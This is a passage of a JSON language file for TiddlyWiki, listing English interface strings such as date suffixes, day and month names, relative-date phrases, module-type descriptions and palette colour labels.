        "$:/language/Date/DaySuffix/6": {
            "title": "$:/language/Date/DaySuffix/6",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/7": {
            "title": "$:/language/Date/DaySuffix/7",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/8": {
            "title": "$:/language/Date/DaySuffix/8",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/9": {
            "title": "$:/language/Date/DaySuffix/9",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/10": {
            "title": "$:/language/Date/DaySuffix/10",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/11": {
            "title": "$:/language/Date/DaySuffix/11",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/12": {
            "title": "$:/language/Date/DaySuffix/12",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/13": {
            "title": "$:/language/Date/DaySuffix/13",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/14": {
            "title": "$:/language/Date/DaySuffix/14",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/15": {
            "title": "$:/language/Date/DaySuffix/15",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/16": {
            "title": "$:/language/Date/DaySuffix/16",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/17": {
            "title": "$:/language/Date/DaySuffix/17",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/18": {
            "title": "$:/language/Date/DaySuffix/18",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/19": {
            "title": "$:/language/Date/DaySuffix/19",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/20": {
            "title": "$:/language/Date/DaySuffix/20",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/21": {
            "title": "$:/language/Date/DaySuffix/21",
            "text": "st"
        },
        "$:/language/Date/DaySuffix/22": {
            "title": "$:/language/Date/DaySuffix/22",
            "text": "nd"
        },
        "$:/language/Date/DaySuffix/23": {
            "title": "$:/language/Date/DaySuffix/23",
            "text": "rd"
        },
        "$:/language/Date/DaySuffix/24": {
            "title": "$:/language/Date/DaySuffix/24",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/25": {
            "title": "$:/language/Date/DaySuffix/25",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/26": {
            "title": "$:/language/Date/DaySuffix/26",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/27": {
            "title": "$:/language/Date/DaySuffix/27",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/28": {
            "title": "$:/language/Date/DaySuffix/28",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/29": {
            "title": "$:/language/Date/DaySuffix/29",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/30": {
            "title": "$:/language/Date/DaySuffix/30",
            "text": "th"
        },
        "$:/language/Date/DaySuffix/31": {
            "title": "$:/language/Date/DaySuffix/31",
            "text": "st"
        },
        "$:/language/Date/Long/Day/0": {
            "title": "$:/language/Date/Long/Day/0",
            "text": "Sunday"
        },
        "$:/language/Date/Long/Day/1": {
            "title": "$:/language/Date/Long/Day/1",
            "text": "Monday"
        },
        "$:/language/Date/Long/Day/2": {
            "title": "$:/language/Date/Long/Day/2",
            "text": "Tuesday"
        },
        "$:/language/Date/Long/Day/3": {
            "title": "$:/language/Date/Long/Day/3",
            "text": "Wednesday"
        },
        "$:/language/Date/Long/Day/4": {
            "title": "$:/language/Date/Long/Day/4",
            "text": "Thursday"
        },
        "$:/language/Date/Long/Day/5": {
            "title": "$:/language/Date/Long/Day/5",
            "text": "Friday"
        },
        "$:/language/Date/Long/Day/6": {
            "title": "$:/language/Date/Long/Day/6",
            "text": "Saturday"
        },
        "$:/language/Date/Long/Month/1": {
            "title": "$:/language/Date/Long/Month/1",
            "text": "January"
        },
        "$:/language/Date/Long/Month/2": {
            "title": "$:/language/Date/Long/Month/2",
            "text": "February"
        },
        "$:/language/Date/Long/Month/3": {
            "title": "$:/language/Date/Long/Month/3",
            "text": "March"
        },
        "$:/language/Date/Long/Month/4": {
            "title": "$:/language/Date/Long/Month/4",
            "text": "April"
        },
        "$:/language/Date/Long/Month/5": {
            "title": "$:/language/Date/Long/Month/5",
            "text": "May"
        },
        "$:/language/Date/Long/Month/6": {
            "title": "$:/language/Date/Long/Month/6",
            "text": "June"
        },
        "$:/language/Date/Long/Month/7": {
            "title": "$:/language/Date/Long/Month/7",
            "text": "July"
        },
        "$:/language/Date/Long/Month/8": {
            "title": "$:/language/Date/Long/Month/8",
            "text": "August"
        },
        "$:/language/Date/Long/Month/9": {
            "title": "$:/language/Date/Long/Month/9",
            "text": "September"
        },
        "$:/language/Date/Long/Month/10": {
            "title": "$:/language/Date/Long/Month/10",
            "text": "October"
        },
        "$:/language/Date/Long/Month/11": {
            "title": "$:/language/Date/Long/Month/11",
            "text": "November"
        },
        "$:/language/Date/Long/Month/12": {
            "title": "$:/language/Date/Long/Month/12",
            "text": "December"
        },
        "$:/language/Date/Period/am": {
            "title": "$:/language/Date/Period/am",
            "text": "am"
        },
        "$:/language/Date/Period/pm": {
            "title": "$:/language/Date/Period/pm",
            "text": "pm"
        },
        "$:/language/Date/Short/Day/0": {
            "title": "$:/language/Date/Short/Day/0",
            "text": "Sun"
        },
        "$:/language/Date/Short/Day/1": {
            "title": "$:/language/Date/Short/Day/1",
            "text": "Mon"
        },
        "$:/language/Date/Short/Day/2": {
            "title": "$:/language/Date/Short/Day/2",
            "text": "Tue"
        },
        "$:/language/Date/Short/Day/3": {
            "title": "$:/language/Date/Short/Day/3",
            "text": "Wed"
        },
        "$:/language/Date/Short/Day/4": {
            "title": "$:/language/Date/Short/Day/4",
            "text": "Thu"
        },
        "$:/language/Date/Short/Day/5": {
            "title": "$:/language/Date/Short/Day/5",
            "text": "Fri"
        },
        "$:/language/Date/Short/Day/6": {
            "title": "$:/language/Date/Short/Day/6",
            "text": "Sat"
        },
        "$:/language/Date/Short/Month/1": {
            "title": "$:/language/Date/Short/Month/1",
            "text": "Jan"
        },
        "$:/language/Date/Short/Month/2": {
            "title": "$:/language/Date/Short/Month/2",
            "text": "Feb"
        },
        "$:/language/Date/Short/Month/3": {
            "title": "$:/language/Date/Short/Month/3",
            "text": "Mar"
        },
        "$:/language/Date/Short/Month/4": {
            "title": "$:/language/Date/Short/Month/4",
            "text": "Apr"
        },
        "$:/language/Date/Short/Month/5": {
            "title": "$:/language/Date/Short/Month/5",
            "text": "May"
        },
        "$:/language/Date/Short/Month/6": {
            "title": "$:/language/Date/Short/Month/6",
            "text": "Jun"
        },
        "$:/language/Date/Short/Month/7": {
            "title": "$:/language/Date/Short/Month/7",
            "text": "Jul"
        },
        "$:/language/Date/Short/Month/8": {
            "title": "$:/language/Date/Short/Month/8",
            "text": "Aug"
        },
        "$:/language/Date/Short/Month/9": {
            "title": "$:/language/Date/Short/Month/9",
            "text": "Sep"
        },
        "$:/language/Date/Short/Month/10": {
            "title": "$:/language/Date/Short/Month/10",
            "text": "Oct"
        },
        "$:/language/Date/Short/Month/11": {
            "title": "$:/language/Date/Short/Month/11",
            "text": "Nov"
        },
        "$:/language/Date/Short/Month/12": {
            "title": "$:/language/Date/Short/Month/12",
            "text": "Dec"
        },
        "$:/language/RelativeDate/Future/Days": {
            "title": "$:/language/RelativeDate/Future/Days",
            "text": "<<period>> days from now"
        },
        "$:/language/RelativeDate/Future/Hours": {
            "title": "$:/language/RelativeDate/Future/Hours",
            "text": "<<period>> hours from now"
        },
        "$:/language/RelativeDate/Future/Minutes": {
            "title": "$:/language/RelativeDate/Future/Minutes",
            "text": "<<period>> minutes from now"
        },
        "$:/language/RelativeDate/Future/Months": {
            "title": "$:/language/RelativeDate/Future/Months",
            "text": "<<period>> months from now"
        },
        "$:/language/RelativeDate/Future/Second": {
            "title": "$:/language/RelativeDate/Future/Second",
            "text": "1 second from now"
        },
        "$:/language/RelativeDate/Future/Seconds": {
            "title": "$:/language/RelativeDate/Future/Seconds",
            "text": "<<period>> seconds from now"
        },
        "$:/language/RelativeDate/Future/Years": {
            "title": "$:/language/RelativeDate/Future/Years",
            "text": "<<period>> years from now"
        },
        "$:/language/RelativeDate/Past/Days": {
            "title": "$:/language/RelativeDate/Past/Days",
            "text": "<<period>> days ago"
        },
        "$:/language/RelativeDate/Past/Hours": {
            "title": "$:/language/RelativeDate/Past/Hours",
            "text": "<<period>> hours ago"
        },
        "$:/language/RelativeDate/Past/Minutes": {
            "title": "$:/language/RelativeDate/Past/Minutes",
            "text": "<<period>> minutes ago"
        },
        "$:/language/RelativeDate/Past/Months": {
            "title": "$:/language/RelativeDate/Past/Months",
            "text": "<<period>> months ago"
        },
        "$:/language/RelativeDate/Past/Second": {
            "title": "$:/language/RelativeDate/Past/Second",
            "text": "1 second ago"
        },
        "$:/language/RelativeDate/Past/Seconds": {
            "title": "$:/language/RelativeDate/Past/Seconds",
            "text": "<<period>> seconds ago"
        },
        "$:/language/RelativeDate/Past/Years": {
            "title": "$:/language/RelativeDate/Past/Years",
            "text": "<<period>> years ago"
        },
        "$:/language/Docs/ModuleTypes/allfilteroperator": {
            "title": "$:/language/Docs/ModuleTypes/allfilteroperator",
            "text": "A sub-operator for the ''all'' filter operator."
        },
        "$:/language/Docs/ModuleTypes/animation": {
            "title": "$:/language/Docs/ModuleTypes/animation",
            "text": "Animations that may be used with the RevealWidget."
        },
        "$:/language/Docs/ModuleTypes/authenticator": {
            "title": "$:/language/Docs/ModuleTypes/authenticator",
            "text": "Defines how requests are authenticated by the built-in HTTP server."
        },
        "$:/language/Docs/ModuleTypes/bitmapeditoroperation": {
            "title": "$:/language/Docs/ModuleTypes/bitmapeditoroperation",
            "text": "A bitmap editor toolbar operation."
        },
        "$:/language/Docs/ModuleTypes/command": {
            "title": "$:/language/Docs/ModuleTypes/command",
            "text": "Commands that can be executed under Node.js."
        },
        "$:/language/Docs/ModuleTypes/config": {
            "title": "$:/language/Docs/ModuleTypes/config",
            "text": "Data to be inserted into `$tw.config`."
        },
        "$:/language/Docs/ModuleTypes/filteroperator": {
            "title": "$:/language/Docs/ModuleTypes/filteroperator",
            "text": "Individual filter operator methods."
        },
        "$:/language/Docs/ModuleTypes/global": {
            "title": "$:/language/Docs/ModuleTypes/global",
            "text": "Global data to be inserted into `$tw`."
        },
        "$:/language/Docs/ModuleTypes/info": {
            "title": "$:/language/Docs/ModuleTypes/info",
            "text": "Publishes system information via the [[$:/temp/info-plugin]] pseudo-plugin."
        },
        "$:/language/Docs/ModuleTypes/isfilteroperator": {
            "title": "$:/language/Docs/ModuleTypes/isfilteroperator",
            "text": "Operands for the ''is'' filter operator."
        },
        "$:/language/Docs/ModuleTypes/library": {
            "title": "$:/language/Docs/ModuleTypes/library",
            "text": "Generic module type for general purpose JavaScript modules."
        },
        "$:/language/Docs/ModuleTypes/macro": {
            "title": "$:/language/Docs/ModuleTypes/macro",
            "text": "JavaScript macro definitions."
        },
        "$:/language/Docs/ModuleTypes/parser": {
            "title": "$:/language/Docs/ModuleTypes/parser",
            "text": "Parsers for different content types."
        },
        "$:/language/Docs/ModuleTypes/route": {
            "title": "$:/language/Docs/ModuleTypes/route",
            "text": "Defines how individual URL patterns are handled by the built-in HTTP server."
        },
        "$:/language/Docs/ModuleTypes/saver": {
            "title": "$:/language/Docs/ModuleTypes/saver",
            "text": "Savers handle different methods for saving files from the browser."
        },
        "$:/language/Docs/ModuleTypes/startup": {
            "title": "$:/language/Docs/ModuleTypes/startup",
            "text": "Startup functions."
        },
        "$:/language/Docs/ModuleTypes/storyview": {
            "title": "$:/language/Docs/ModuleTypes/storyview",
            "text": "Story views customise the animation and behaviour of list widgets."
        },
        "$:/language/Docs/ModuleTypes/texteditoroperation": {
            "title": "$:/language/Docs/ModuleTypes/texteditoroperation",
            "text": "A text editor toolbar operation."
        },
        "$:/language/Docs/ModuleTypes/tiddlerdeserializer": {
            "title": "$:/language/Docs/ModuleTypes/tiddlerdeserializer",
            "text": "Converts different content types into tiddlers."
        },
        "$:/language/Docs/ModuleTypes/tiddlerfield": {
            "title": "$:/language/Docs/ModuleTypes/tiddlerfield",
            "text": "Defines the behaviour of an individual tiddler field."
        },
        "$:/language/Docs/ModuleTypes/tiddlermethod": {
            "title": "$:/language/Docs/ModuleTypes/tiddlermethod",
            "text": "Adds methods to the `$tw.Tiddler` prototype."
        },
        "$:/language/Docs/ModuleTypes/upgrader": {
            "title": "$:/language/Docs/ModuleTypes/upgrader",
            "text": "Applies upgrade processing to tiddlers during an upgrade/import."
        },
        "$:/language/Docs/ModuleTypes/utils": {
            "title": "$:/language/Docs/ModuleTypes/utils",
            "text": "Adds methods to `$tw.utils`."
        },
        "$:/language/Docs/ModuleTypes/utils-node": {
            "title": "$:/language/Docs/ModuleTypes/utils-node",
            "text": "Adds Node.js-specific methods to `$tw.utils`."
        },
        "$:/language/Docs/ModuleTypes/widget": {
            "title": "$:/language/Docs/ModuleTypes/widget",
            "text": "Widgets encapsulate DOM rendering and refreshing."
        },
        "$:/language/Docs/ModuleTypes/wikimethod": {
            "title": "$:/language/Docs/ModuleTypes/wikimethod",
            "text": "Adds methods to `$tw.Wiki`."
        },
        "$:/language/Docs/ModuleTypes/wikirule": {
            "title": "$:/language/Docs/ModuleTypes/wikirule",
            "text": "Individual parser rules for the main WikiText parser."
        },
        "$:/language/Docs/PaletteColours/alert-background": {
            "title": "$:/language/Docs/PaletteColours/alert-background",
            "text": "Alert background"
        },
        "$:/language/Docs/PaletteColours/alert-border": {
            "title": "$:/language/Docs/PaletteColours/alert-border",
            "text": "Alert border"
        },
        "$:/language/Docs/PaletteColours/alert-highlight": {
            "title": "$:/language/Docs/PaletteColours/alert-highlight",
            "text": "Alert highlight"
        },
        "$:/language/Docs/PaletteColours/alert-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/alert-muted-foreground",
            "text": "Alert muted foreground"
        },
        "$:/language/Docs/PaletteColours/background": {
            "title": "$:/language/Docs/PaletteColours/background",
            "text": "General background"
        },
        "$:/language/Docs/PaletteColours/blockquote-bar": {
            "title": "$:/language/Docs/PaletteColours/blockquote-bar",
            "text": "Blockquote bar"
        },
        "$:/language/Docs/PaletteColours/button-background": {
            "title": "$:/language/Docs/PaletteColours/button-background",
            "text": "Default button background"
        },
        "$:/language/Docs/PaletteColours/button-border": {
            "title": "$:/language/Docs/PaletteColours/button-border",
            "text": "Default button border"
        },
        "$:/language/Docs/PaletteColours/button-foreground": {
            "title": "$:/language/Docs/PaletteColours/button-foreground",
            "text": "Default button foreground"
        },
        "$:/language/Docs/PaletteColours/dirty-indicator": {
            "title": "$:/language/Docs/PaletteColours/dirty-indicator",
            "text": "Unsaved changes indicator"
        },
        "$:/language/Docs/PaletteColours/code-background": {
            "title": "$:/language/Docs/PaletteColours/code-background",
            "text": "Code background"
        },
        "$:/language/Docs/PaletteColours/code-border": {
            "title": "$:/language/Docs/PaletteColours/code-border",
            "text": "Code border"
        },
        "$:/language/Docs/PaletteColours/code-foreground": {
            "title": "$:/language/Docs/PaletteColours/code-foreground",
            "text": "Code foreground"
        },
        "$:/language/Docs/PaletteColours/download-background": {
            "title": "$:/language/Docs/PaletteColours/download-background",
            "text": "Download button background"
        },
        "$:/language/Docs/PaletteColours/download-foreground": {
            "title": "$:/language/Docs/PaletteColours/download-foreground",
            "text": "Download button foreground"
        },
        "$:/language/Docs/PaletteColours/dragger-background": {
            "title": "$:/language/Docs/PaletteColours/dragger-background",
            "text": "Dragger background"
        },
        "$:/language/Docs/PaletteColours/dragger-foreground": {
            "title": "$:/language/Docs/PaletteColours/dragger-foreground",
            "text": "Dragger foreground"
        },
        "$:/language/Docs/PaletteColours/dropdown-background": {
            "title": "$:/language/Docs/PaletteColours/dropdown-background",
            "text": "Dropdown background"
        },
        "$:/language/Docs/PaletteColours/dropdown-border": {
            "title": "$:/language/Docs/PaletteColours/dropdown-border",
            "text": "Dropdown border"
        },
        "$:/language/Docs/PaletteColours/dropdown-tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/dropdown-tab-background-selected",
            "text": "Dropdown tab background for selected tabs"
        },
        "$:/language/Docs/PaletteColours/dropdown-tab-background": {
            "title": "$:/language/Docs/PaletteColours/dropdown-tab-background",
            "text": "Dropdown tab background"
        },
        "$:/language/Docs/PaletteColours/dropzone-background": {
            "title": "$:/language/Docs/PaletteColours/dropzone-background",
            "text": "Dropzone background"
        },
        "$:/language/Docs/PaletteColours/external-link-background-hover": {
            "title": "$:/language/Docs/PaletteColours/external-link-background-hover",
            "text": "External link background hover"
        },
        "$:/language/Docs/PaletteColours/external-link-background-visited": {
            "title": "$:/language/Docs/PaletteColours/external-link-background-visited",
            "text": "External link background visited"
        },
        "$:/language/Docs/PaletteColours/external-link-background": {
            "title": "$:/language/Docs/PaletteColours/external-link-background",
            "text": "External link background"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground-hover",
            "text": "External link foreground hover"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground-visited": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground-visited",
            "text": "External link foreground visited"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground",
            "text": "External link foreground"
        },
        "$:/language/Docs/PaletteColours/foreground": {
            "title": "$:/language/Docs/PaletteColours/foreground",
            "text": "General foreground"
        },
        "$:/language/Docs/PaletteColours/message-background": {
            "title": "$:/language/Docs/PaletteColours/message-background",
            "text": "Message box background"
        },
        "$:/language/Docs/PaletteColours/message-border": {
            "title": "$:/language/Docs/PaletteColours/message-border",
            "text": "Message box border"
        },
        "$:/language/Docs/PaletteColours/message-foreground": {
            "title": "$:/language/Docs/PaletteColours/message-foreground",
            "text": "Message box foreground"
        },
        "$:/language/Docs/PaletteColours/modal-backdrop": {
            "title": "$:/language/Docs/PaletteColours/modal-backdrop",
            "text": "Modal backdrop"
        },
        "$:/language/Docs/PaletteColours/modal-background": {
            "title": "$:/language/Docs/PaletteColours/modal-background",
            "text": "Modal background"
        },
        "$:/language/Docs/PaletteColours/modal-border": {
            "title": "$:/language/Docs/PaletteColours/modal-border",
            "text": "Modal border"
        },
        "$:/language/Docs/PaletteColours/modal-footer-background": {
            "title": "$:/language/Docs/PaletteColours/modal-footer-background",
            "text": "Modal footer background"
        },
        "$:/language/Docs/PaletteColours/modal-footer-border": {
            "title": "$:/language/Docs/PaletteColours/modal-footer-border",
            "text": "Modal footer border"
        },
        "$:/language/Docs/PaletteColours/modal-header-border": {
            "title": "$:/language/Docs/PaletteColours/modal-header-border",
            "text": "Modal header border"
        },
        "$:/language/Docs/PaletteColours/muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/muted-foreground",
            "text": "General muted foreground"
        },
        "$:/language/Docs/PaletteColours/notification-background": {
            "title": "$:/language/Docs/PaletteColours/notification-background",
            "text": "Notification background"
        },
        "$:/language/Docs/PaletteColours/notification-border": {
            "title": "$:/language/Docs/PaletteColours/notification-border",
            "text": "Notification border"
        },
        "$:/language/Docs/PaletteColours/page-background": {
            "title": "$:/language/Docs/PaletteColours/page-background",
            "text": "Page background"
        },
        "$:/language/Docs/PaletteColours/pre-background": {
            "title": "$:/language/Docs/PaletteColours/pre-background",
            "text": "Preformatted code background"
        },
        "$:/language/Docs/PaletteColours/pre-border": {
            "title": "$:/language/Docs/PaletteColours/pre-border",
            "text": "Preformatted code border"
        },
        "$:/language/Docs/PaletteColours/primary": {
            "title": "$:/language/Docs/PaletteColours/primary",
            "text": "General primary"
        },
        "$:/language/Docs/PaletteColours/select-tag-background": {
            "title": "$:/language/Docs/PaletteColours/select-tag-background",
            "text": "`<select>` element background"
        },
        "$:/language/Docs/PaletteColours/select-tag-foreground": {
            "title": "$:/language/Docs/PaletteColours/select-tag-foreground",
            "text": "`<select>` element text"
        },
        "$:/language/Docs/PaletteColours/sidebar-button-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-button-foreground",
            "text": "Sidebar button foreground"
        },
        "$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover",
            "text": "Sidebar controls foreground hover"
        },
        "$:/language/Docs/PaletteColours/sidebar-controls-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground",
            "text": "Sidebar controls foreground"
        },
        "$:/language/Docs/PaletteColours/sidebar-foreground-shadow": {
            "title": "$:/language/Docs/PaletteColours/sidebar-foreground-shadow",
            "text": "Sidebar foreground shadow"
        },
        "$:/language/Docs/PaletteColours/sidebar-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-foreground",
            "text": "Sidebar foreground"
        },
        "$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover",
            "text": "Sidebar muted foreground hover"
        },
        "$:/language/Docs/PaletteColours/sidebar-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground",
            "text": "Sidebar muted foreground"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-background-selected",
            "text": "Sidebar tab background for selected tabs"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-background": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-background",
            "text": "Sidebar tab background"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-border-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-border-selected",
            "text": "Sidebar tab border for selected tabs"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-border": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-border",
            "text": "Sidebar tab border"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-divider": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-divider",
            "text": "Sidebar tab divider"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected",
            "text": "Sidebar tab foreground for selected tabs"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground",
            "text": "Sidebar tab foreground"
        },
        "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover",
            "text": "Sidebar tiddler link foreground hover"
        },
        "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground",
            "text": "Sidebar tiddler link foreground"
        },
        "$:/language/Docs/PaletteColours/site-title-foreground": {
            "title": "$:/language/Docs/PaletteColours/site-title-foreground",
            "text": "Site title foreground"
        },
        "$:/language/Docs/PaletteColours/static-alert-foreground": {
            "title": "$:/language/Docs/PaletteColours/static-alert-foreground",
            "text": "Static alert foreground"
        },
        "$:/language/Docs/PaletteColours/tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-background-selected",
            "text": "Tab background for selected tabs"
        },
        "$:/language/Docs/PaletteColours/tab-background": {
            "title": "$:/language/Docs/PaletteColours/tab-background",
            "text": "Tab background"
        },
        "$:/language/Docs/PaletteColours/tab-border-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-border-selected",
            "text": "Tab border for selected tabs"
        },
        "$:/language/Docs/PaletteColours/tab-border": {
            "title": "$:/language/Docs/PaletteColours/tab-border",
            "text": "Tab border"
        },
        "$:/language/Docs/PaletteColours/tab-divider": {
            "title": "$:/language/Docs/PaletteColours/tab-divider",
            "text": "Tab divider"
        },
        "$:/language/Docs/PaletteColours/tab-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-foreground-selected",
            "text": "Tab foreground for selected tabs"
        },
        "$:/language/Docs/PaletteColours/tab-foreground": {
            "title": "$:/language/Docs/PaletteColours/tab-foreground",
            "text": "Tab foreground"
        },
        "$:/language/Docs/PaletteColours/table-border": {
            "title": "$:/language/Docs/PaletteColours/table-border",
            "text": "Table border"
        },
        "$:/language/Docs/PaletteColours/table-footer-background": {
            "title": "$:/language/Docs/PaletteColours/table-footer-background",
            "text": "Table footer background"
        },
        "$:/language/Docs/PaletteColours/table-header-background": {
            "title": "$:/language/Docs/PaletteColours/table-header-background",
            "text": "Table header background"
        },
        "$:/language/Docs/PaletteColours/tag-background": {
            "title": "$:/language/Docs/PaletteColours/tag-background",
            "text": "Tag background"
        },
        "$:/language/Docs/PaletteColours/tag-foreground": {
            "title": "$:/language/Docs/PaletteColours/tag-foreground",
            "text": "Tag foreground"
        },
        "$:/language/Docs/PaletteColours/tiddler-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-background",
            "text": "Tiddler background"
        },
        "$:/language/Docs/PaletteColours/tiddler-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-border",
            "text": "Tiddler border"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover",
            "text": "Tiddler controls foreground hover"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected",
            "text": "Tiddler controls foreground for selected controls"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground",
            "text": "Tiddler controls foreground"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-background",
            "text": "Tiddler editor background"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-border-image": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-border-image",
            "text": "Tiddler editor border image"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-border",
            "text": "Tiddler editor border"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-fields-even": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-even",
            "text": "Tiddler editor background for even fields"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-fields-odd": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-odd",
            "text": "Tiddler editor background for odd fields"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-background",
            "text": "Tiddler info panel background"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-border",
            "text": "Tiddler info panel border"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-tab-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-tab-background",
            "text": "Tiddler info panel tab background"
        },
        "$:/language/Docs/PaletteColours/tiddler-link-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-link-background",
            "text": "Tiddler link background"
        },
        "$:/language/Docs/PaletteColours/tiddler-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-link-foreground",
            "text": "Tiddler link foreground"
        },
        "$:/language/Docs/PaletteColours/tiddler-subtitle-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-subtitle-foreground",
            "text": "Tiddler subtitle foreground"
        },
        "$:/language/Docs/PaletteColours/tiddler-title-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-title-foreground",
            "text": "Tiddler title foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-new-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-new-button",
            "text": "Toolbar 'new tiddler' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-options-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-options-button",
            "text": "Toolbar 'options' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-save-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-save-button",
            "text": "Toolbar 'save' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-info-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-info-button",
            "text": "Toolbar 'info' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-edit-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-edit-button",
            "text": "Toolbar 'edit' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-close-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-close-button",
            "text": "Toolbar 'close' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-delete-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-delete-button",
            "text": "Toolbar 'delete' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-cancel-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-cancel-button",
            "text": "Toolbar 'cancel' button foreground"
        },
        "$:/language/Docs/PaletteColours/toolbar-done-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-done-button",
            "text": "Toolbar 'done' button foreground"
        },
        "$:/language/Docs/PaletteColours/untagged-background": {
            "title": "$:/language/Docs/PaletteColours/untagged-background",
            "text": "Untagged pill background"
        },
        "$:/language/Docs/PaletteColours/very-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/very-muted-foreground",
            "text": "Very muted foreground"
        },
        "$:/language/EditTemplate/Body/External/Hint": {
            "title": "$:/language/EditTemplate/Body/External/Hint",
            "text": "This tiddler shows content stored outside of the main TiddlyWiki file. You can edit the tags and fields but cannot directly edit the content itself"
        },
        "$:/language/EditTemplate/Body/Placeholder": {
            "title": "$:/language/EditTemplate/Body/Placeholder",
            "text": "Type the text for this tiddler"
        },
        "$:/language/EditTemplate/Body/Preview/Type/Output": {
            "title": "$:/language/EditTemplate/Body/Preview/Type/Output",
            "text": "output"
        },
